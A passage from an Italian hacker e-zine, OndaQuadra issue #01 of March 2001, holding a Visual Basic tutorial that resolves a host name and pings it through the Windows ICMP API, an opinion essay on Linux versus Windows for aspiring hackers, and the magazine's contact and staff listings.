Beh, per ora e' tutto, devo spedire il testo a Tritemius, che se no mi scotenna (mi riduco sempre all'ultimo momento :P) voi rimanete sintonizzati, e aspettate il prossimo numero, nel quale (se non succede un cataclisma prima) inizieremo una parte piu' interessante di questo progetto. ;) ________________________________________________________________________ Come sempre i doverosi saluti e ringraziamenti vanno a: -=Quequero=-; TiN_MaN; ZeroByte; Neminis; -Neural_Noise; Kill3xx; +Malattia; Yado; xOANON; Gi0; AndreaGeddon; JeyOne; Nerds; 0_K_RAM; Paradox Evil; Artemis23am; Johnes; dlemma; WEissES; DJK; TDi110CV; Malkavian; Tritemius; Man0negra; reef; Vecna; viv4ldi; Alga; cod; ximox; Winerror; BlackDruiD; DaRk PlaGuE; CieliSereni; Tha Justiz; [alt255]; (R)ipLey -The LazyMan-; ded; Kolosso; AloR; Sensos; int19; NIKDH; com9; Sixin (e il suo gemello SixOUT :p);TripTrip; caret; syscalo; _CeK_; GuZuRa; Ritz; Pincopall; Aisha; -=Rigor_Mortem=-; Xian; Jeremia; c4r[on]T3; Devprog; Il_Bieco; e tutti i membri, non membri, Sop, Aop, Vop, Founder, IRCop; Bot, CCT, frequentanti, semplici curiosi, di: RingZ3r0, UIC, SpiPPolatori, #rotfl, #hackmaniaci, #ondaquadra, #hitmen e non ultimo #crack-it. Un bacio particolare va alla mia 'meta' del cielo' UmA, per la pazienza di sopportare, giorno dopo giorno, un uomo divenuto ormai simbionte di un ammasso di plastica, metallo e fili elettrici ;) TAT! UmA!! :) ________________________________________________________________________ CIAO A TUTTI ED ALLA PROSSIMA. phobos (aka D4rKSP4rr0W) ________________________________________________________________________ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 19/03/2001 | | CODING 4 DUMMiEZ: PiNGARE C0N VB ........................ [JEYoNE] 0x18/0x1A | +-------------------------------------------------------------------------------+ ** Come pingare un IP partendo dall'HostName in Visual Basic ** Anche questa volta, come nello scorso numero, parliamo di piccole applicazioni scritte in Visual Basic. La scorsa volta abbiamo visto come ricavare un Host Name da un IP Address, quest a volta andiamo a pingare un Host Name. Ritengo inutlie ripetere che il codice sotto riportato non è di mia proprietà, ma è di proprietà di Randy Birch- VBnet Network. Non voglio prendermi nessun merito per una cosa che non ho fatto io,sto soltanto riportando pari pari il suo codice su questa rivista, per favorire qualcuno che magari non conosce la lingua, o che magari non ha voglia di sbattersi per andare a cercare tutorial in giro per la rete. Cominciamo con una piccola introduzione: Quando abbiamo soltanto a disposizione l'Host Name, e dobbiamo eseguire un ping, dobbiamo prima "tradurre" il nome dell'Host in un indirizzo IP numerico. In questo esempio usiamo l'API del Winsock chiamata gethostbyname. Il codice di base è stato tradotto dalla descrizione in C dell'MSDN Microsoft. La funzione TextToIP è stata trovata invece in un newsgrop. Il form deve, o almeno dovrebbe avere, questo aspetto: _________________________________ | Ping IP by Host | |_________________________________| | __________ | | HOST |__________| |<---Text1 | __________ | | IP ADD |__________| |<---Text2 | __________ | | SEND |__________| ______ |<---Text3 | | | | | | PING | |<---Command1 | |______| | | ___________ | | Return Stats |___________| |<---Text4(0) | ___________ | | Address(dec) |___________| |<---Text4(1) | ___________ | | Round trip time |___________| |<---Text4(2) | ___________ | | Data Packet Size |___________| |<---Text4(3) | ___________ | | Data Returned |___________| |<---Text4(4) | ___________ | | Data Pointer |___________| |<---Text4(5) |_________________________________| ________________________________________________________________________________ Nel form bisogna inserire un command button (command1), tre text box (text1; text2; text3) e sei text box in una matrice di controllo (text4(0) - text4(5)) Quindi inserite questo codice: ________________________________________________________________________________ Option Explicit Private Sub Command1_Click() Dim ECHO As ICMP_ECHO_REPLY Dim pos As Long Dim success As Long Dim sIPAddress As String If SocketsInitialize() Then 'converte l'Host Name in IP Address sIPAddress = GetIPFromHostName(Text1.Text) Text2.Text = sIPAddress 'pinga l'IP passando l'indirizzo, il testo 'da usare, e la ECHO structure success = Ping(sIPAddress, (Text3.Text), ECHO) 'mostra i risultati Text4(0).Text = GetStatusCode(success) Text4(1) = ECHO.Address Text4(2) = ECHO.RoundTripTime & " ms" Text4(3) = ECHO.DataSize & " bytes" If Left$(ECHO.Data, 1) <> Chr$(0) Then pos = InStr(ECHO.Data, Chr$(0)) Text4(4) = Left$(ECHO.Data, pos - 1) End If Text4(5) = ECHO.DataPointer SocketsCleanup Else MsgBox "Windows Sockets for 32 bit Windows " & _ "environments is not successfully responding." End If End Sub ________________________________________________________________________________ Inserite poi questo codice in un modulo BAS. ________________________________________________________________________________ Option Explicit Private Const IP_STATUS_BASE As Long = 11000 Private Const IP_SUCCESS As Long = 0 Private Const IP_BUF_TOO_SMALL As Long = (11000 + 1) Private Const IP_DEST_NET_UNREACHABLE As Long = (11000 + 2) Private Const IP_DEST_HOST_UNREACHABLE As Long = (11000 + 3) Private Const IP_DEST_PROT_UNREACHABLE As Long = (11000 + 4) Private Const IP_DEST_PORT_UNREACHABLE As Long = (11000 + 5) Private Const IP_NO_RESOURCES As Long = (11000 + 6) Private Const IP_BAD_OPTION As Long = (11000 + 7) Private Const IP_HW_ERROR As Long = (11000 + 8) Private Const IP_PACKET_TOO_BIG As Long = (11000 + 9) Private Const IP_REQ_TIMED_OUT As Long = (11000 + 10) Private Const IP_BAD_REQ As Long = (11000 + 11) Private Const IP_BAD_ROUTE As Long = (11000 + 12) Private Const IP_TTL_EXPIRED_TRANSIT As Long = (11000 + 13) Private Const IP_TTL_EXPIRED_REASSEM As Long = (11000 + 14) Private Const IP_PARAM_PROBLEM As Long = (11000 + 15) Private Const IP_SOURCE_QUENCH As Long = (11000 + 16) Private Const IP_OPTION_TOO_BIG As Long = (11000 + 17) Private Const IP_BAD_DESTINATION As Long = (11000 + 18) Private Const IP_ADDR_DELETED As Long = (11000 + 19) Private Const IP_SPEC_MTU_CHANGE As Long = (11000 + 20) Private Const IP_MTU_CHANGE As Long = (11000 + 21) Private Const IP_UNLOAD As Long = (11000 + 22) Private Const IP_ADDR_ADDED As Long = (11000 + 23) Private Const IP_GENERAL_FAILURE As Long = (11000 + 50) Private Const MAX_IP_STATUS As Long = (11000 + 50) Private Const IP_PENDING As Long = (11000 + 255) Private Const PING_TIMEOUT As Long = 500 Private Const WS_VERSION_REQD As Long = &H101 Private Const MIN_SOCKETS_REQD As Long = 1 Private Const SOCKET_ERROR As Long = -1 Private Const INADDR_NONE As Long = &HFFFFFFFF Private Const MAX_WSADescription As Long = 256 Private Const MAX_WSASYSStatus As Long = 128 Private Type WSADATA wVersion As Integer wHighVersion As Integer szDescription(0 To MAX_WSADescription) As Byte szSystemStatus(0 To MAX_WSASYSStatus) As Byte wMaxSockets As Long wMaxUDPDG As Long dwVendorInfo As Long End Type Private Type ICMP_OPTIONS Ttl As Byte Tos As Byte Flags As Byte OptionsSize As Byte OptionsData As Long End Type Public Type ICMP_ECHO_REPLY Address As Long status As Long RoundTripTime As Long DataSize As Long 'Reserved As Integer DataPointer As Long Options As ICMP_OPTIONS Data As String * 250 End Type Private Type HOSTENT hName As Long hAliases As Long hAddrType As Integer hLen As Integer hAddrList As Long End Type Private Declare Function gethostbyname Lib "WSOCK32.DLL" _ (ByVal hostname As String) As Long Private Declare Sub CopyMemory Lib "kernel32" _ Alias "RtlMoveMemory" _ (xDest As Any, _ xSource As Any, _ ByVal nbytes As Long) Private Declare Function lstrlenA Lib "kernel32" _ (lpString As Any) As Long Private Declare Function WSAStartup Lib "WSOCK32.DLL" _ (ByVal wVersionRequired As Long, _ lpWSADATA As WSADATA) As Long Private Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long Private Declare Function IcmpCloseHandle Lib "icmp.dll" _ (ByVal IcmpHandle As Long) As Long Private Declare Function IcmpSendEcho Lib "icmp.dll" _ (ByVal IcmpHandle As Long, _ ByVal DestinationAddress As Long, _ ByVal RequestData As String, _ ByVal RequestSize As Long, _ ByVal RequestOptions As Long, _ ReplyBuffer As ICMP_ECHO_REPLY, _ ByVal ReplySize As Long, _ ByVal Timeout As Long) As Long Private Declare Function inet_addr Lib "WSOCK32.DLL" _ (ByVal s As String) As Long Public Function Ping(sAddress As String, _ sDataToSend As String, _ ECHO As ICMP_ECHO_REPLY) As Long Dim hPort As Long Dim dwAddress As Long dwAddress = inet_addr(sAddress) If dwAddress <> INADDR_NONE Then hPort = IcmpCreateFile() If hPort Then Call IcmpSendEcho(hPort, _ dwAddress, _ sDataToSend, _ Len(sDataToSend), _ 0, _ ECHO, _ Len(ECHO), _ PING_TIMEOUT) Ping = ECHO.status Call IcmpCloseHandle(hPort) End If 'If hPort Else: Ping = INADDR_NONE End If End Function Public Function GetStatusCode(status As Long) As String Dim msg As String Select Case status Case IP_SUCCESS: msg = "ip success" Case INADDR_NONE: msg = "inet_addr: bad IP format" Case IP_BUF_TOO_SMALL: msg = "ip buf too_small" Case IP_DEST_NET_UNREACHABLE: msg = "ip dest net unreachable" Case IP_DEST_HOST_UNREACHABLE: msg = "ip dest host unreachable" Case IP_DEST_PROT_UNREACHABLE: msg = "ip dest prot unreachable" Case IP_DEST_PORT_UNREACHABLE: msg = "ip dest port unreachable" Case IP_NO_RESOURCES: msg = "ip no resources" Case IP_BAD_OPTION: msg = "ip bad option" Case IP_HW_ERROR: msg = "ip hw_error" Case IP_PACKET_TOO_BIG: msg = "ip packet too_big" Case IP_REQ_TIMED_OUT: msg = "ip req timed out" Case IP_BAD_REQ: msg = "ip bad req" Case IP_BAD_ROUTE: msg = "ip bad route" Case IP_TTL_EXPIRED_TRANSIT: msg = "ip ttl expired transit" Case IP_TTL_EXPIRED_REASSEM: msg = "ip ttl expired reassem" Case IP_PARAM_PROBLEM: msg = "ip param_problem" Case IP_SOURCE_QUENCH: msg = "ip source quench" Case IP_OPTION_TOO_BIG: msg = "ip option too_big" Case IP_BAD_DESTINATION: msg = "ip bad destination" Case IP_ADDR_DELETED: msg = "ip addr deleted" Case IP_SPEC_MTU_CHANGE: msg = "ip spec mtu change" Case IP_MTU_CHANGE: msg = "ip mtu_change" Case IP_UNLOAD: msg = "ip unload" Case IP_ADDR_ADDED: msg = "ip addr added" Case IP_GENERAL_FAILURE: msg = "ip general failure" Case IP_PENDING: msg = "ip pending" Case PING_TIMEOUT: msg = "ping timeout" Case Else: msg = "unknown msg returned" End Select GetStatusCode = CStr(status) & " [ " & msg & " ]" End Function Public Function GetIPFromHostName(ByVal sHostName As String) As String Dim nbytes As Long Dim ptrHosent As Long Dim ptrName As Long Dim ptrAddress As Long Dim ptrIPAddress As Long Dim sAddress As String sAddress = Space$(4) ptrHosent = gethostbyname(sHostName & vbNullChar) If ptrHosent <> 0 Then ptrName = ptrHosent ptrAddress = ptrHosent + 12 'get the IP address CopyMemory ptrName, ByVal ptrName, 4 CopyMemory ptrAddress, ByVal ptrAddress, 4 CopyMemory ptrIPAddress, ByVal ptrAddress, 4 CopyMemory ByVal sAddress, ByVal ptrIPAddress, 4 GetIPFromHostName = IPToText(sAddress) End If End Function Private Function IPToText(ByVal IPAddress As String) As String IPToText = CStr(Asc(IPAddress)) & "." & _ CStr(Asc(Mid$(IPAddress, 2, 1))) & "." & _ CStr(Asc(Mid$(IPAddress, 3, 1))) & "." & _ CStr(Asc(Mid$(IPAddress, 4, 1))) End Function Public Sub SocketsCleanup() If WSACleanup() <> 0 Then MsgBox "Windows Sockets error occurred in Cleanup.", vbExclamation End If End Sub Public Function SocketsInitialize() As Boolean Dim WSAD As WSADATA SocketsInitialize = WSAStartup(WS_VERSION_REQD, WSAD) = IP_SUCCESS End Function ________________________________________________________________________________ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [SHUTD0WN] #01 - 19/03/2001 | | LiNUX Vs WiND0WS ....................................... [Tdi110cv] 0x19/0x1A | +-------------------------------------------------------------------------------+ Autore : TDI110CV Luogo : Ufficio Orario : 13.30 (pausa !!!) e-mail : tdi110cv@iname.com Telefono : +8888 - 88 ____________________________________________________________________________ Purtroppo non esiste alternativa ! Per diventare hacker l'unica regola da seguire e' quella di farsi continuamente domande ! Domande che spesso rimangono tali poichè niente e nessuno e' in grado o non ha voglia di rispondere ! Per dimostrarvi questo vi faro due esempi ! N. 1 - Voi chiedete come fare uno scanning su un server ! Risposta : Bè semplice prendi questo prog , mettici l'ip della vittima e lancialo ! N. 2 - Voi chiedete che cos'è uno scanning ? Risposta : Bè uno Scanning e' uno strumento atto a ... scritto in ... che funziona ... , per utilizzarlo serve ... e perchè. Ora che avete avuto due risposte , decidete quale delle 2 e' la piu' utile ai vostri scopi ! Se scieglierete la numero 1 , chiudete il PC e state tranquilli che non sarete mai hacker ! Nel caso vi andasse di optare per la seconda , siete gia a meta' strada ! Perchè ?! Bene ! Presto detto ! Quale risposta pensate che vi sara' piu' di aiuto ? Bene io vi garantisco che sara' proprio la seconda , semplicemente perchè e' tra le due l'unica che vi permettera' di ragionare un pochino ! Di conseguenza prima di fare delle domande in giro , cercate di farle in in modo che chi vi rispondera' lo possa fare facendo in modo di farvi ragionare ! Facile sarebbe dare ascolto alla prima risposta , ma se e' vero che un hacker cerca di sviscerare i programmi e capirne il funzionamento , per codarne di propri o per sabotarli , la prima risposta non vi sara' certo di aiuto ! Al limite potrete dire di saper fare uno scanning , ma chi vi garantisce che non sarete beccati ? Che ve ne fate dei risultati dello scan ? Potete dire di saper fare scanning se non sapete neanche cosa fa il prog ? Ecco il perchè io insisto sul fatto che solo continuando a farsi domande e cercando con le nostre forze le risposte , si allenera' la mente ad entrare nella filosofia di base che un giorno ci portera' , forse , ad essere considerati veri Hacker !!! Quindi io cerchero , non certo di darvi una risposta , ma di farvi riflettere in merito ad una domanda che la maggior parte dei newbies si fanno ! La domanda e' : MA MEGLIO LINUX O WINDOWS ? Bene , molti vi risponderebbero molto spicciolamente in questo modo :"Lascia perdere winfindus e installati Linux che e' meglio !" E io sapete che vi rispondo ? Bene diffidate da questo genere di risposte ! Per cominciare preciserei che la domanda posta in questo modo non e' per nulla corretta ! E' come se qualcuno mi chiedesse :"Ma e' meglio Notepad o word ?" Vi pare una domanda intelligente ? Io direi di no , visto che con word si scrivi tanto come con notepad , ma word ti consente di inserire clipart , foto , stronzate e cazzate , notepad invece no ! Quindi verrebbe facile dire be' allora e' meglio word ! Invece io vi rispondo : UN CAZZO !!! Perchè dipende sempre dalle vostre esigenze ! Perchè se voi dovete solo scriverci piccoli appunti , dovete spaccarvi il culo per capire come funzia word , quando con notepad ci si puo' scrivere tutti gli appunti che si vuole senza il minimo sforzo grazie alla sua semplicita' ? Per una moda ? No ! Io direi che non ne vale la pena ! Ecco quindi che anche la scelta del sistema operativo comporta una serie di approfondite riflessioni ! Inanzi tutto dovete aver ben chiaro che cosa farvene di un PC ! Volete diventare hacker ? Volete imparare l'arte ? Volete semplicemente smanettare un pochino ? Volete imparare a programmare per codarvi i vostri tools i quali verranno usati per bucare server o roba analoga ? Siete solo curiosi ? Volete diventare cracker ? Volete solo navigare Insomma dovete intanto farvi un obbiettivo ! Obbiettivo che dovra' essere piu' chiaro possibile , almeno nel vostro cervello ! Poi seguire quello che vi sto per dire ! Poi saprete decidere ! Inanzi tutto vorrei precisare che tutto quello che si fa con linux , lo potete fare , in determinate condizioni , anche con windows ! In determinate condizioni perchè da windows , potete collegarvi a delle shell dalle quali potrete lavorare in unix o linux che sia ! Non ci credete ? bene allora usate il vostro telnet e connettetevi a Nether.net o qualche altra shell unix ! Createvi un account , e noterete subito che avrete a disposizione moltissimi strumenti di unix ! I compilatori C , il telnet , l'ftp , IRCD , BitchX e tante altre cacate ! Ovvio condizione necessaria e sufficiente (cazzo che figo che sono ) affinche' voi possiate lavorare in unix sotto windows e' appunto avere un account su una shell ! Io consiglio infatti a chi decide di installare linux su PC di smanettare con delle shell prima , proprio per farci la mano ! Ovvio che non avrete a disposizione l'ambiente grafico per lanciare netscape o roba simile ! Se proprio dovete utilizzare un browser lo potete fare dal vostro sistema ! Ok ! Avete smanettato ? Credete sia arrivato il gran giorno ? Ovvero il giorno della svolta ? Bene ! Allora dovete pensare che i due S.O. in oggetto offrono molte possibilita' ! Tutto quello che pero' vi viene offerto si paga a caro prezzo ! Dovete pensare infatti che mentre il sistema di casa Microsoft vi offre diverse opportunita' con una estrema facilita' d'uso , il secondo sistema , in questo caso Linux , vi offre queste e altre possibilita' a scapito proprio della facilita' d'uso ! Infatti gia in fase di installazione con windows difficilmente avrete problemi particolari , windows infatti e' predisposto per installarsi in una determinata maniera e basta ! Linux invece prevede diverse fasi lasciate alle totali decisioni dell'utente ! Dovrete partizionare l'HD ! Quindi assegnare 2 partizioni una alla ext2 , e una al file di swap ! In fase di installazione vi verra' chiesto che tipo di installazione fare , se come server , come workstation , o custom ! Poi dovrete decidere che tipi di pacchetti ulteriori installare , quali servizi attivare , e infine vi troverete a configurare il vostro hardware ! Il quale non esistendo driver per linux dovra' spesso essere configurato a manina santa ! Tutto questo , ai neofiti , portera' via diversi giorni di tempo ! Con windows ? Be' con windows circa 20 , 30 o 40 minuti circa ! E tutto sara' installato quasi automaticamente ! Quindi gia in fase di installazione le diversita' sono notevoli ! Ovvio che pero' se tante sono le diversita' anche cio di cui disporrete alla fine dell'installazione sia di win che di linux , sara' ben diverso ! Infatti tutte le fatiche che linux vi obblighera' a fare saranno ricompensate dal fatto che alla fine vi ritroverete n mano un S.O. completo sotto tutti gli aspetti ! Si ! Possibilita' di programmare in C , C++ , Perl , PHP , TCL e chissà quant'altro.. Con windows invece programmerete solo in QBASIC !!!!! Famosissimo linguaggio con la quale la nasa comanda i propri shuttle ! :PPPP Windows infatti vi costringe a installare a parte tutti i pacchetti necessari che vi interessano per poter programmare ! Volete il C ? Bene andate a cercarvi il compilatore ! Il c ++ ? Anche Il TCL ? Ve lo sognate ! Ecc. ecc. ecc. Quindi ecco una netta differenza ! Difficolta' enorme nell'installazione di linux , ma ci si programma subito ! Windows invece lo installi in un attimo ma non offre nulla di tutto cio' ! Ecco quidi che arriva l'ardua scelta ! Vi interessa programmare ? Se si allora Linux e' un'ottima piattaforma , se non vi interessa programmare allora meglio win per maggiore facilita' ! Pero' ... non essendo solo queste le diversita' tra i due , non azzardate ancora a fare nessuna scelta di cui potreste pentirvi ! Linux vi consente di installare un server WEB , un FTP , un Sendmail , consentire il telnet sul vostro PC , un pop3 , insomma potete giocarci tanto ! E piu' ci si gioca piu' si capisce cosa sta dietro alla rete ! Certo !! IL vostro PC potrebbe diventare un vero server su cui far accedere chiunque , ospitare pagine web , offrire servizi ecc. Per'altro dovrete diventare esperti nell'amministrazione del vostro serverino. Cosa che al giorno d'oggi viene ben ripagata nelle aziende ! Con win , sara' molto difficile ! Almeno che non usiate NT o 2000. In ogni caso pero' win non offrira' flessibilita' o particolari funzioni indispensabili nel caso i vostri progetti fossero quelli di imparare l'hacking ! Inoltre , cosa piu' guduriosa , Linux e' Open Source ! Ovvero sorgente aperto ! Avrete il codice del sistema operativo in mano , potrete farci quello che volete , modifiche , test , manette ecc. !!! Win non vi molla il sorgente neanche di notepad ! Linux e' gratuito !!! Win ve lo pagate in tutto e per tutto ! (forse) Linux non ha assistenza tecnica certificata ! Windows invece si !!! (almeno dicono quelli della Microsoft). Volete avere sotto controllo tutto cio' che accade nella vostra macchina in qualsiasi momento ? Ebbene allora linux ! Win infatti non vi lascia nessuna liberta' ! Win decide per voi ! Certo sara' dura amministrare il proprio linux , ma una volta padroni del sistema , avrete capito molto di piu' ! Volete fare delle lamerate ? Allora win ! Molta meno fatica a installare un flood e lanciarlo ! Bene ! E' abbastanza chiaro ? Il punto e' che se volete diventare qualcuno e capire molte cose avrete bisogno di un S.O. che non vi consenta assolutamente di fare nulla almeno che non abbiate le idee chiare su quello che volete fare ! Vi garantisco infatti che la prima volta che vedrete linux sul vostro monitor resterete immobili chiedendovi : "e adesso cazzo ci faccio ?". Volete che scommettiamo ? Bene fate voi ma sappiate che con win potreste invece accedere con pochi comandi ad internet , con linux direi almeno 2 giorni di bestemmie ! Pero' quando accederete alla rete con linux vuol dire che avrete capito molte cose in piu' che con win ! Almeno , e questo e' certo , saprete installarvi un modem sotto linux ! Concludo col dirvi che ogni scelta comporta una ulteriore scelta di carattere ! Evitate le mode ! Il 90 % della gente che usa linux per moda e' la stessa gente che magari non sa mountare un disco ! Se deciderete per la via piu' facile , cioè win , vuol dire che la mentalita' non l'avete o dovete ancora farvela ! Pero' se volete fare tutte queste cose dette sopra , giocare , hackare , crackare , e che cazzo ne so , leggete una riga sotto !!!! Volete sapere che fare ? Un consiglio spassionato ? Montateli tutti e due !!!! :PPPPPPP Ed ora son cazzi vostri ! Volete sapere come si fa ? Be' e' una cacata ! Restate in attesa e vi diremo nei prossimi numeri ! Intanto vi lascio un solo consiglio ! Un consiglio che proviene dalla mia esperienza nel campo ! Se siete in procinto di acquistare un modem , e avete optato di installare tutti e due i S.O. , non risparmiate ! Evitate i modem cosidetti WINMODEM , che normalmente sono quelli interni che trovate ovunque a 60 70 80 90.000 o circa ! Non riuscirete mai o quasi mai a configurarli sotto linux ! Inoltre questi modem sono di scarse prestazioni !!!!!!!!! Per eventuali chiarimenti contattatemi a qualsiasi ora ! Ciao e buona riflessione a tutti !!!!!! <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [C0NTATTi] #01 - 19/03/2001 | | D0VE TR0VARCi [oq ~ staff] 0x1A/0x1A | +-------------------------------------------------------------------------------+ Sul Web: http://ondaquadra.cjb.net http://www.hackerzine.org http://www.bismark.it Mail: mail@ondaquadra.cjb.net Gli articoli mandateli qui: articoli@ondaquadra.cjb.net IRC irc.azzurra.it #ondaquadra #hackmaniaci <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | oq~staff: | | AndreaGeddon ~ BLa ~ E4zy | | JEYoNE ~ KillJoy ~ Malkavian ~ Mastro ~ Max ~ Mysha | | Phobos ~ Tahoo ~ Tdi110cv ~ Tritemius | | | +-------------------------------------------------------------------------------+ | ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +-------------------------------------------------------------------------------+